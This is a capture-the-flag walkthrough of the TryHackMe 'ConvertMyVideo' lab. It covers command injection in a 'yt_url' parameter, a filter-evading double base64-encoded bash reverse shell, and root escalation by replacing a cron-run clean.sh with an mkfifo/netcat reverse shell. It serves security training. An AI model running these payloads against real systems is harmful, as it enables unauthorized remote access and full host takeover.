> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/tryhackme/linux/convertmyvideo.md).

# ConvertMyVideo

## Nmap

```
sudo nmap 10.10.50.86 -p- -sS -sV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelP
```

Port 80 lands us on a Youtube video conversion page.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ea684ca80ba7372fea1965b6c66e22d0f6545745%2Fimage.png?alt=media)

Running feroxbuster against the target website produces only a few results. Of which only the /admin directory is interesting. The /admin directory uses a HTTP-basic-form and I was unable to crack using rockyou.txt with common user names such as 'admin'.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-94593935a99ffbc5d36620e584df560e2ba8fd5e%2Fimage.png?alt=media)

Running a generic query does not produces anything interesting.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-fc5a1fa8f1503a468bd2658d9fa7a15f20cbd707%2Fimage.png?alt=media)

Running the search query through Burpsuite gives us the parameter 'yt\_url'.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1d984231301c35a88cdcf988cd54e9b9e02b16c2%2Fimage.png?alt=media)

Referring against this link we can try various command injection techniques for valid parameters.

{% embed url="<https://book.hacktricks.xyz/pentesting-web/command-injection>" %}

As per the link trying the following gives us a command injection result:

```
yt_url=ls||id;
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-0c66a60a683dd5ac8a24149ed8a76c2e14a22c47%2Fimage.png?alt=media)

Knowing we can inject commands we can attempt a reverse shell by running the command below in a terminal on our attacking machine then taking the output and using it in our command injection

```
echo "echo $(echo 'bash -i >& /dev/tcp/10.14.3.108/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9d6b72b5b37ddfcf57d4864a608ea4a79a2dfede%2Fimage.png?alt=media)

Then paste the output into Burpsuite:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-80824dcde12bc3cbf4958de97ee96630ce499a55%2Fimage.png?alt=media)

Once sent we should receive a reverse shell on the `netcat` listener.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cbfa405cd11b5f6854ae56f237487f7354e281c8%2Fimage.png?alt=media)

After looking about the machine and running enumeration scripts I was unable to identify any points of escalation. I then decided to run [pspy64](https://github.com/DominicBreuker/pspy/releases) to see if anything is being executed on a regular basis.

After transferring and running we get the following results:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5ee7cf948c45d1ee700c916733c858b0f81e7ddc%2Fimage.png?alt=media)

Frequently the following is being run:

`/bin/sh -c cd /var/www/html/tmp && bash /var/www/html/tmp/clean.sh`

From here I echo'd out the contents of clean.sh and replaced the contents with a `netcat` reverse shell.

```
echo  > clean.sh
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.3.108 4444 >/tmp/f' > clean.sh
```

Then set up a listener on port 4444 waited a few seconds and received a shell as root.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-56d5620069f17d3b0639bd6d049490ace85967f3%2Fimage.png?alt=media)